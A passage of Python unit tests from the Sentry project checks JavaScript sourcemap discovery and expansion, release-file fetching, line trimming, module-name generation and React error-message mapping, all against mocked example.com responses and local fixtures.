        assert frame.context_line == 'console.log("hello, World!")'
        assert not frame.post_context
        assert frame.data['sourcemap'] == 'http://example.com/test.min.js'

    @responses.activate
    def test_sourcemap_source_expansion(self):
        responses.add(responses.GET, 'http://example.com/file.min.js',
                      body=load_fixture('file.min.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file1.js',
                      body=load_fixture('file1.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file2.js',
                      body=load_fixture('file2.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file.sourcemap.js',
                      body=load_fixture('file.sourcemap.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/index.html',
                      body='Not Found', status=404)

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/file.min.js',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },

                            # NOTE: Intentionally source is not retrieved from this HTML file
                            {
                                'function': 'function: "HTMLDocument.<anonymous>"',
                                'abs_path': "http//example.com/index.html",
                                'filename': 'index.html',
                                'lineno': 283,
                                'colno': 17,
                                'in_app': False,
                            }
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert event.data['errors'] == [{'type': 'js_no_source', 'url': 'http//example.com/index.html'}]

        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]
        assert frame.pre_context == [
            'function add(a, b) {',
            '\t"use strict";',
        ]
        expected = u'\treturn a + b; // fôo'
        assert frame.context_line == expected
        assert frame.post_context == ['}', '']

        raw_frame_list = exception.values[0].raw_stacktrace.frames
        raw_frame = raw_frame_list[0]
        assert raw_frame.pre_context == []
        assert raw_frame.context_line == 'function add(a,b){"use strict";return a+b}function multiply(a,b){"use strict";return a*b}function divide(a,b){"use strict";try{return multip {snip}'
        assert raw_frame.post_context == ['//@ sourceMappingURL=file.sourcemap.js']
        assert raw_frame.lineno == 1

        # Since we couldn't expand source for the 2nd frame, both
        # its raw and original form should be identical
        assert raw_frame_list[1] == frame_list[1]

    @responses.activate
    def test_sourcemap_embedded_source_expansion(self):
        responses.add(responses.GET, 'http://example.com/embedded.js',
                      body=load_fixture('embedded.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/embedded.js.map',
                      body=load_fixture('embedded.js.map'),
                      content_type='application/json; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/index.html',
                      body='Not Found', status=404)

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/embedded.js',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },

                            # NOTE: Intentionally source is not retrieved from this HTML file
                            {
                                'function': 'function: "HTMLDocument.<anonymous>"',
                                'abs_path': "http//example.com/index.html",
                                'filename': 'index.html',
                                'lineno': 283,
                                'colno': 17,
                                'in_app': False,
                            }
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert event.data['errors'] == [{'type': 'js_no_source', 'url': 'http//example.com/index.html'}]

        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]
        assert frame.pre_context == [
            'function add(a, b) {',
            '\t"use strict";',
        ]
        expected = u'\treturn a + b; // fôo'
        assert frame.context_line == expected
        assert frame.post_context == ['}', '']

    @responses.activate
    def test_indexed_sourcemap_source_expansion(self):
        responses.add(responses.GET, 'http://example.com/indexed.min.js',
                      body=load_fixture('indexed.min.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file1.js',
                      body=load_fixture('file1.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file2.js',
                      body=load_fixture('file2.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/indexed.sourcemap.js',
                      body=load_fixture('indexed.sourcemap.js'),
                      content_type='application/json; charset=utf-8')

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/indexed.min.js',
                                'filename': 'indexed.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },

                            {
                                'abs_path': 'http://example.com/indexed.min.js',
                                'filename': 'indexed.min.js',
                                'lineno': 2,
                                'colno': 44,
                            },

                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert not event.data['errors']

        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]
        assert frame.pre_context == [
            'function add(a, b) {',
            '\t"use strict";',
        ]

        expected = u'\treturn a + b; // fôo'
        assert frame.context_line == expected
        assert frame.post_context == ['}', '']

        raw_frame_list = exception.values[0].raw_stacktrace.frames
        raw_frame = raw_frame_list[0]
        assert raw_frame.pre_context == []
        assert raw_frame.context_line == 'function add(a,b){"use strict";return a+b}'
        assert raw_frame.post_context == [
            'function multiply(a,b){"use strict";return a*b}function divide(a,b){"use strict";try{return multiply(add(a,b),a,b)/c}catch(e){Raven.captureE {snip}',
            '//# sourceMappingURL=indexed.sourcemap.js',
            ''
        ]
        assert raw_frame.lineno == 1

        frame = frame_list[1]
        assert frame.pre_context == [
            'function multiply(a, b) {',
            '\t"use strict";',
        ]
        assert frame.context_line == '\treturn a * b;'
        assert frame.post_context == [
            '}',
            'function divide(a, b) {',
            '\t"use strict";',
            '\ttry {',
            '\t\treturn multiply(add(a, b), a, b) / c;',
        ]

        raw_frame = raw_frame_list[1]
        assert raw_frame.pre_context == ['function add(a,b){"use strict";return a+b}']
        assert raw_frame.context_line == 'function multiply(a,b){"use strict";return a*b}function divide(a,b){"use strict";try{return multiply(add(a,b),a,b)/c}catch(e){Raven.captureE {snip}'
        assert raw_frame.post_context == [
            '//# sourceMappingURL=indexed.sourcemap.js',
            ''
        ]
        assert raw_frame.lineno == 2

    @responses.activate
    def test_expansion_via_release_artifacts(self):
        project = self.project
        release = Release.objects.create(
            project=project,
            version='abc',
        )

        # file.min.js
        # ------------

        f_minified = File.objects.create(
            name='file.min.js',
            type='release.file',
            headers={'Content-Type': 'application/json'},
        )
        f_minified.putfile(open(get_fixture_path('file.min.js'), 'rb'))

        # Intentionally omit hostname - use alternate artifact path lookup instead
        # /file1.js vs http://example.com/file1.js
        ReleaseFile.objects.create(
            name='~/{}?foo=bar'.format(f_minified.name),
            release=release,
            project=project,
            file=f_minified,
        )

        # file1.js
        # ---------

        f1 = File.objects.create(
            name='file1.js',
            type='release.file',
            headers={'Content-Type': 'application/json'},
        )
        f1.putfile(open(get_fixture_path('file1.js'), 'rb'))

        ReleaseFile.objects.create(
            name='http://example.com/{}'.format(f1.name),
            release=release,
            project=project,
            file=f1,
        )

        # file2.js
        # ----------

        f2 = File.objects.create(
            name='file2.js',
            type='release.file',
            headers={'Content-Type': 'application/json'},
        )
        f2.putfile(open(get_fixture_path('file2.js'), 'rb'))
        ReleaseFile.objects.create(
            name='http://example.com/{}'.format(f2.name),
            release=release,
            project=project,
            file=f2,
        )

        # To verify that the full url has priority over the relative url,
        # we will also add a second ReleaseFile alias for file2.js (f3) w/o
        # hostname that points to an empty file. If the processor chooses
        # this empty file over the correct file2.js, it will not locate
        # context for the 2nd frame.
        f2_empty = File.objects.create(
            name='empty.js',
            type='release.file',
            headers={'Content-Type': 'application/json'},
        )
        f2_empty.putfile(open(get_fixture_path('empty.js'), 'rb'))
        ReleaseFile.objects.create(
            name='~/{}'.format(f2.name),  # intentionally using f2.name ("file2.js")
            release=release,
            project=project,
            file=f2_empty,
        )

        # sourcemap
        # ----------

        f_sourcemap = File.objects.create(
            name='file.sourcemap.js',
            type='release.file',
            headers={'Content-Type': 'application/json'},
        )
        f_sourcemap.putfile(open(get_fixture_path('file.sourcemap.js'), 'rb'))
        ReleaseFile.objects.create(
            name='http://example.com/{}'.format(f_sourcemap.name),
            release=release,
            project=project,
            file=f_sourcemap,
        )

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'release': 'abc',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/file.min.js?foo=bar',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },
                            {
                                'abs_path': 'http://example.com/file.min.js?foo=bar',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 79,
                            }
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert not event.data['errors']

        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]
        assert frame.pre_context == [
            'function add(a, b) {',
            '\t"use strict";',
        ]
        assert frame.context_line == u'\treturn a + b; // fôo'
        assert frame.post_context == ['}', '']

        frame = frame_list[1]
        assert frame.pre_context == [
            'function multiply(a, b) {',
            '\t"use strict";',
        ]
        assert frame.context_line == '\treturn a * b;'
        assert frame.post_context == [
            '}',
            'function divide(a, b) {',
            '\t"use strict";', u'\ttry {',
            '\t\treturn multiply(add(a, b), a, b) / c;'
        ]

    @responses.activate
    def test_sourcemap_expansion_with_missing_source(self):
        """
        Tests a successful sourcemap expansion that points to source files
        that are not found.
        """
        responses.add(responses.GET, 'http://example.com/file.min.js',
                      body=load_fixture('file.min.js'),
                      content_type='application/javascript; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file.sourcemap.js',
                      body=load_fixture('file.sourcemap.js'),
                      content_type='application/json; charset=utf-8')
        responses.add(responses.GET, 'http://example.com/file1.js',
                      body='Not Found', status=404)

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/file.min.js',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert event.data['errors'] == [{'url': u'http://example.com/file1.js', 'type': 'js_invalid_http_code', 'value': 404}]

        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]

        # no context information ...
        assert frame.pre_context is None
        assert frame.context_line is None
        assert frame.post_context is None

        # ... but line, column numbers are still correctly mapped
        assert frame.lineno == 3
        assert frame.colno == 8

    @responses.activate
    def test_failed_sourcemap_expansion(self):
        """
        Tests attempting to parse an indexed source map where each section has a "url"
        property - this is unsupported and should fail.
        """
        responses.add(responses.GET, 'http://example.com/unsupported.min.js',
                      body=load_fixture('unsupported.min.js'),
                      content_type='application/javascript; charset=utf-8')

        responses.add(responses.GET, 'http://example.com/unsupported.sourcemap.js',
                      body=load_fixture('unsupported.sourcemap.js'),
                      content_type='application/json; charset=utf-8')

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/unsupported.min.js',
                                'filename': 'indexed.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert event.data['errors'] == [{'url': u'http://example.com/unsupported.sourcemap.js', 'type': 'js_invalid_source'}]

    def test_failed_sourcemap_expansion_data_url(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'data:application/javascript,base46,asfasf',
                                'filename': 'indexed.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert event.data['errors'] == [{'url': u'<data url>', 'type': 'js_no_source'}]

    @responses.activate
    def test_html_response_for_js(self):
        responses.add(responses.GET, 'http://example.com/file1.js',
                      body='       <!DOCTYPE html><html><head></head><body></body></html>')
        responses.add(responses.GET, 'http://example.com/file2.js',
                      body='<!doctype html><html><head></head><body></body></html>')
        responses.add(responses.GET, 'http://example.com/file.html',
                      body='<!doctype html><html><head></head><body><script>/*legit case*/</script></body></html>')

        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/file1.js',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },
                            {
                                'abs_path': 'http://example.com/file2.js',
                                'filename': 'file.min.js',
                                'lineno': 1,
                                'colno': 39,
                            },
                            {
                                'abs_path': 'http://example.com/file.html',
                                'filename': 'file.html',
                                'lineno': 1,
                                'colno': 1,
                            },
                        ],
                    },
                }],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        assert event.data['errors'] == [
            {'url': u'http://example.com/file1.js', 'type': 'js_invalid_content'},
            {'url': u'http://example.com/file2.js', 'type': 'js_invalid_content'}
        ]






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import pytest
import responses
import six

from mock import patch
from requests.exceptions import RequestException

from sentry.interfaces.stacktrace import Stacktrace
from sentry.lang.javascript.processor import (
    BadSource, discover_sourcemap, fetch_sourcemap, fetch_file, generate_module,
    SourceProcessor, trim_line, UrlResult, fetch_release_file
)
from sentry.lang.javascript.sourcemaps import SourceMap, SourceMapIndex
from sentry.lang.javascript.errormapping import (
    rewrite_exception, REACT_MAPPING_URL
)
from sentry.models import File, Release, ReleaseFile
from sentry.testutils import TestCase

base64_sourcemap = 'data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZ2VuZXJhdGVkLmpzIiwic291cmNlcyI6WyIvdGVzdC5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiO0FBQUEiLCJzb3VyY2VzQ29udGVudCI6WyJjb25zb2xlLmxvZyhcImhlbGxvLCBXb3JsZCFcIikiXX0='

unicode_body = u"""function add(a, b) {
    "use strict";
    return a + b; // fôo
}"""


class FetchReleaseFileTest(TestCase):
    def test_unicode(self):
        project = self.project
        release = Release.objects.create(
            project=project,
            version='abc',
        )

        file = File.objects.create(
            name='file.min.js',
            type='release.file',
            headers={'Content-Type': 'application/json; charset=utf-8'},
        )
        file.putfile(six.BytesIO(unicode_body.encode('utf-8')))

        ReleaseFile.objects.create(
            name='file.min.js',
            release=release,
            project=project,
            file=file,
        )

        result = fetch_release_file('file.min.js', release)

        assert type(result[1]) is six.text_type
        assert result == (
            {'Content-Type': 'application/json; charset=utf-8'},
            unicode_body,
            200
        )

        # test with cache hit, which should be compressed
        new_result = fetch_release_file('file.min.js', release)

        assert result == new_result


class FetchFileTest(TestCase):
    @responses.activate
    def test_simple(self):
        responses.add(responses.GET, 'http://example.com', body='foo bar',
                      content_type='application/json')

        result = fetch_file('http://example.com')

        assert len(responses.calls) == 1

        assert result.url == 'http://example.com'
        assert result.body == 'foo bar'
        assert result.headers == {'content-type': 'application/json'}

        # ensure we use the cached result
        result2 = fetch_file('http://example.com')

        assert len(responses.calls) == 1

        assert result == result2

    @responses.activate
    def test_with_token(self):
        responses.add(responses.GET, 'http://example.com', body='foo bar',
                      content_type='application/json')

        self.project.update_option('sentry:token', 'foobar')
        self.project.update_option('sentry:origins', ['*'])

        result = fetch_file('http://example.com', project=self.project)

        assert len(responses.calls) == 1
        assert responses.calls[0].request.headers['X-Sentry-Token'] == 'foobar'

        assert result.url == 'http://example.com'
        assert result.body == 'foo bar'
        assert result.headers == {'content-type': 'application/json'}

    @responses.activate
    def test_connection_failure(self):
        responses.add(responses.GET, 'http://example.com', body=RequestException())

        with pytest.raises(BadSource):
            fetch_file('http://example.com')

        assert len(responses.calls) == 1

        # ensure we use the cached domain-wide failure for the second call
        with pytest.raises(BadSource):
            fetch_file('http://example.com/foo/bar')

        assert len(responses.calls) == 1

    @responses.activate
    def test_non_url_without_release(self):
        with pytest.raises(BadSource):
            fetch_file('/example.js')

    @responses.activate
    @patch('sentry.lang.javascript.processor.fetch_release_file')
    def test_non_url_with_release(self, mock_fetch_release_file):
        mock_fetch_release_file.return_value = (
            {'content-type': 'application/json'},
            'foo',
            200
        )

        release = Release.objects.create(project=self.project, version='1')

        result = fetch_file('/example.js', release=release)
        assert result.url == '/example.js'
        assert result.body == 'foo'
        assert isinstance(result.body, six.text_type)
        assert result.headers == {'content-type': 'application/json'}

    @patch('sentry.lang.javascript.processor.fetch_release_file')
    def test_non_unicode_release_file(self, mock_fetch_release_file):
        mock_fetch_release_file.return_value = (
            {'content-type': 'application/octet-stream'},
            '\xffff',  # This is some random binary data
            200
        )

        release = Release.objects.create(project=self.project, version='1')

        with pytest.raises(BadSource):
            fetch_file('/example.js', release=release)

    @responses.activate
    def test_unicode_body(self):
        responses.add(responses.GET, 'http://example.com',
                      body=u'"fôo bar"'.encode('utf-8'),
                      content_type='application/json; charset=utf-8')

        result = fetch_file('http://example.com')

        assert len(responses.calls) == 1

        assert result.url == 'http://example.com'
        assert result.body == u'"fôo bar"'
        assert result.headers == {'content-type': 'application/json; charset=utf-8'}

        # ensure we use the cached result
        result2 = fetch_file('http://example.com')

        assert len(responses.calls) == 1

        assert result == result2


class DiscoverSourcemapTest(TestCase):
    # discover_sourcemap(result)
    def test_simple(self):
        result = UrlResult('http://example.com', {}, '')
        assert discover_sourcemap(result) is None

        result = UrlResult('http://example.com', {
            'x-sourcemap': 'http://example.com/source.map.js'
        }, '')
        assert discover_sourcemap(result) == 'http://example.com/source.map.js'

        result = UrlResult('http://example.com', {
            'sourcemap': 'http://example.com/source.map.js'
        }, '')
        assert discover_sourcemap(result) == 'http://example.com/source.map.js'

        result = UrlResult('http://example.com', {}, '//@ sourceMappingURL=http://example.com/source.map.js\nconsole.log(true)')
        assert discover_sourcemap(result) == 'http://example.com/source.map.js'

        result = UrlResult('http://example.com', {}, '//# sourceMappingURL=http://example.com/source.map.js\nconsole.log(true)')
        assert discover_sourcemap(result) == 'http://example.com/source.map.js'

        result = UrlResult('http://example.com', {}, 'console.log(true)\n//@ sourceMappingURL=http://example.com/source.map.js')
        assert discover_sourcemap(result) == 'http://example.com/source.map.js'

        result = UrlResult('http://example.com', {}, 'console.log(true)\n//# sourceMappingURL=http://example.com/source.map.js')
        assert discover_sourcemap(result) == 'http://example.com/source.map.js'

        result = UrlResult('http://example.com', {}, 'console.log(true)\n//# sourceMappingURL=http://example.com/source.map.js\n//# sourceMappingURL=http://example.com/source2.map.js')
        assert discover_sourcemap(result) == 'http://example.com/source2.map.js'

        result = UrlResult('http://example.com', {}, '//# sourceMappingURL=app.map.js/*ascii:lol*/')
        assert discover_sourcemap(result) == 'http://example.com/app.map.js'

        result = UrlResult('http://example.com', {}, '//# sourceMappingURL=/*lol*/')
        with self.assertRaises(AssertionError):
            discover_sourcemap(result)


class GenerateModuleTest(TestCase):
    def test_simple(self):
        assert generate_module(None) == '<unknown module>'
        assert generate_module('http://example.com/foo.js') == 'foo'
        assert generate_module('http://example.com/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/js/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/javascript/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/1.0/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/v1/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/v1.0.0/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/_baz/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/1/2/3/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/abcdef0/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/92cd589eca8235e7b373bf5ae94ebf898e3b949c/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/7d6d00eae0ceccdc7ee689659585d95f/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/foo/bar.coffee') == 'foo/bar'
        assert generate_module('http://example.com/foo/bar.js?v=1234') == 'foo/bar'
        assert generate_module('/foo/bar.js') == 'foo/bar'
        assert generate_module('../../foo/bar.js') == 'foo/bar'
        assert generate_module('/foo/bar-7d6d00eae0ceccdc7ee689659585d95f.js') == 'foo/bar'
        assert generate_module('/bower_components/foo/bar.js') == 'foo/bar'
        assert generate_module('/node_modules/foo/bar.js') == 'foo/bar'
        assert generate_module('http://example.com/vendor.92cd589eca8235e7b373bf5ae94ebf898e3b949c.js') == 'vendor'
        assert generate_module('/a/javascripts/application-bundle-149360d3414c26adac3febdf6832e25c.min.js') == 'a/javascripts/application-bundle'
        assert generate_module('https://example.com/libs/libs-20150417171659.min.js') == 'libs/libs'
        assert generate_module('webpack:///92cd589eca8235e7b373bf5ae94ebf898e3b949c/vendor.js') == 'vendor'
        assert generate_module('webpack:///example/92cd589eca8235e7b373bf5ae94ebf898e3b949c/vendor.js') == 'vendor'
        assert generate_module('~/app/components/projectHeader/projectSelector.jsx') == 'app/components/projectHeader/projectSelector'


class FetchBase64SourcemapTest(TestCase):
    def test_simple(self):
        index = fetch_sourcemap(base64_sourcemap)
        states = [SourceMap(1, 0, '/test.js', 0, 0, None)]
        sources = set(['/test.js'])
        keys = [(1, 0)]
        content = {'/test.js': ['console.log("hello, World!")']}

        assert index == SourceMapIndex(states, keys, sources, content)


class TrimLineTest(TestCase):
    long_line = 'The public is more familiar with bad design than good design. It is, in effect, conditioned to prefer bad design, because that is what it lives with. The new becomes threatening, the old reassuring.'

    def test_simple(self):
        assert trim_line('foo') == 'foo'
        assert trim_line(self.long_line) == 'The public is more familiar with bad design than good design. It is, in effect, conditioned to prefer bad design, because that is what it li {snip}'
        assert trim_line(self.long_line, column=10) == 'The public is more familiar with bad design than good design. It is, in effect, conditioned to prefer bad design, because that is what it li {snip}'
        assert trim_line(self.long_line, column=66) == '{snip} blic is more familiar with bad design than good design. It is, in effect, conditioned to prefer bad design, because that is what it lives wi {snip}'
        assert trim_line(self.long_line, column=190) == '{snip} gn. It is, in effect, conditioned to prefer bad design, because that is what it lives with. The new becomes threatening, the old reassuring.'
        assert trim_line(self.long_line, column=9999) == '{snip} gn. It is, in effect, conditioned to prefer bad design, because that is what it lives with. The new becomes threatening, the old reassuring.'


class SourceProcessorTest(TestCase):
    def test_get_stacktraces_returns_stacktrace_interface(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Stacktrace': {
                'frames': [
                    {
                        'abs_path': 'http://example.com/foo.js',
                        'filename': 'foo.js',
                        'lineno': 4,
                        'colno': 0,
                    },
                    {
                        'abs_path': 'http://example.com/foo.js',
                        'filename': 'foo.js',
                        'lineno': 1,
                        'colno': 0,
                    },
                ],
            },
        }

        processor = SourceProcessor(project=self.project)
        result = processor.get_stacktraces(data)
        assert len(result) == 1
        assert type(result[0][1]) is Stacktrace

    def test_get_stacktraces_returns_exception_interface(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 4,
                                'colno': 0,
                            },
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 1,
                                'colno': 0,
                            },
                        ],
                    },
                }],
            }
        }

        processor = SourceProcessor(project=self.project)
        result = processor.get_stacktraces(data)
        assert len(result) == 1
        assert type(result[0][1]) is Stacktrace

    def test_get_culprit_is_patched(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 4,
                                'colno': 0,
                                'function': 'thing',
                            },
                            {
                                'abs_path': 'http://example.com/bar.js',
                                'filename': 'bar.js',
                                'lineno': 1,
                                'colno': 0,
                                'function': 'oops',
                            },
                        ],
                    },
                }],
            }
        }

        processor = SourceProcessor(project=self.project)
        result = processor.process(data)
        assert result['culprit'] == 'bar in oops'

    def test_ensure_module_names(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'filename': 'foo.js',
                                'lineno': 4,
                                'colno': 0,
                                'function': 'thing',
                            },
                            {
                                'abs_path': 'http://example.com/foo/bar.js',
                                'filename': 'bar.js',
                                'lineno': 1,
                                'colno': 0,
                                'function': 'oops',
                            },
                        ],
                    },
                }],
            }
        }
        processor = SourceProcessor(project=self.project)
        result = processor.process(data)
        exc = result['sentry.interfaces.Exception']['values'][0]
        assert exc['stacktrace']['frames'][1]['module'] == 'foo/bar'


class ErrorMappingTest(TestCase):

    @responses.activate
    def test_react_error_mapping_resolving(self):
        responses.add(responses.GET, REACT_MAPPING_URL, body=r'''
        {
          "108": "%s.getChildContext(): key \"%s\" is not defined in childContextTypes.",
          "109": "%s.render(): A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.",
          "110": "Stateless function components cannot have refs."
        }
        ''', content_type='application/json')

        for x in range(3):
            data = {
                'platform': 'javascript',
                'sentry.interfaces.Exception': {
                    'values': [{
                        'type': 'InvariantViolation',
                        'value': (
                            'Minified React error #109; visit http://facebook'
                            '.github.io/react/docs/error-decoder.html?invariant='
                            '109&args[]=Component for the full message or use '
                            'the non-minified dev environment for full errors '
                            'and additional helpful warnings.'
                        ),
                        'stacktrace': {
                            'frames': [
                                {
                                    'abs_path': 'http://example.com/foo.js',
                                    'filename': 'foo.js',
                                    'lineno': 4,
                                    'colno': 0,
                                },
                                {
                                    'abs_path': 'http://example.com/foo.js',
                                    'filename': 'foo.js',
                                    'lineno': 1,
                                    'colno': 0,
                                },
                            ],
                        },
                    }],
                }
            }

            assert rewrite_exception(data)

            assert data['sentry.interfaces.Exception']['values'][0]['value'] == (
                'Component.render(): A valid React element (or null) must be '
                'returned. You may have returned undefined, an array or '
                'some other invalid object.'
            )

    @responses.activate
    def test_react_error_mapping_empty_args(self):
        responses.add(responses.GET, REACT_MAPPING_URL, body=r'''
        {
          "108": "%s.getChildContext(): key \"%s\" is not defined in childContextTypes."
        }
        ''', content_type='application/json')

        data = {
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'InvariantViolation',
                    'value': (
                        'Minified React error #108; visit http://facebook'
                        '.github.io/react/docs/error-decoder.html?invariant='
                        '108&args[]=Component&args[]= for the full message '
                        'or use the non-minified dev environment for full '
                        'errors and additional helpful warnings.'
                    ),
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 4,
                                'colno': 0,
                            },
                        ],
                    },
                }],
            }
        }

        assert rewrite_exception(data)

        assert data['sentry.interfaces.Exception']['values'][0]['value'] == (
            'Component.getChildContext(): key "" is not defined in '
            'childContextTypes.'
        )

    @responses.activate
    def test_react_error_mapping_truncated(self):
        responses.add(responses.GET, REACT_MAPPING_URL, body=r'''
        {
          "108": "%s.getChildContext(): key \"%s\" is not defined in childContextTypes."
        }
        ''', content_type='application/json')

        data = {
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'InvariantViolation',
                    'value': (
                        u'Minified React error #108; visit http://facebook'
                        u'.github.io/react/docs/error-decoder.html?…'
                    ),
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 4,
                                'colno': 0,
                            },
                        ],
                    },
                }],
            }
        }

        assert rewrite_exception(data)

        assert data['sentry.interfaces.Exception']['values'][0]['value'] == (
            '<redacted>.getChildContext(): key "<redacted>" is not defined in '
            'childContextTypes.'
        )






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.lang.javascript.sourcemaps import (
    SourceMap, parse_vlq, parse_sourcemap, sourcemap_to_index, find_source, get_inline_content_sources
)
from sentry.testutils import TestCase

from sentry.utils import json


sourcemap = """{
    "version":3,
    "file":"file.min.js",
    "sources":["file1.js","file2.js"],
    "names":["add","a","b","multiply","divide","c","e","Raven","captureException"],
    "mappings":"AAAA,QAASA,KAAIC,EAAGC,GACf,YACA,OAAOD,GAAIC,ECFZ,QAASC,UAASF,EAAGC,GACpB,YACA,OAAOD,GAAIC,EAEZ,QAASE,QAAOH,EAAGC,GAClB,YACA,KACC,MAAOC,UAASH,IAAIC,EAAGC,GAAID,EAAGC,GAAKG,EAClC,MAAOC,GACRC,MAAMC,iBAAiBF",
    "sourceRoot": "foo"
}"""

indexed_sourcemap_example = json.dumps({
    'version': 3,
    'file': 'min.js',
    'sections': [
        {
            'offset': {
                'line': 0,
                'column': 0
            },
            'map': {
                'version': 3,
                'sources': [
                    "one.js"
                ],
                'sourcesContent': [
                    ' ONE.foo = function (bar) {\n' +
                    '   return baz(bar);\n' +
                    ' };',
                ],
                'names': [
                    "bar",
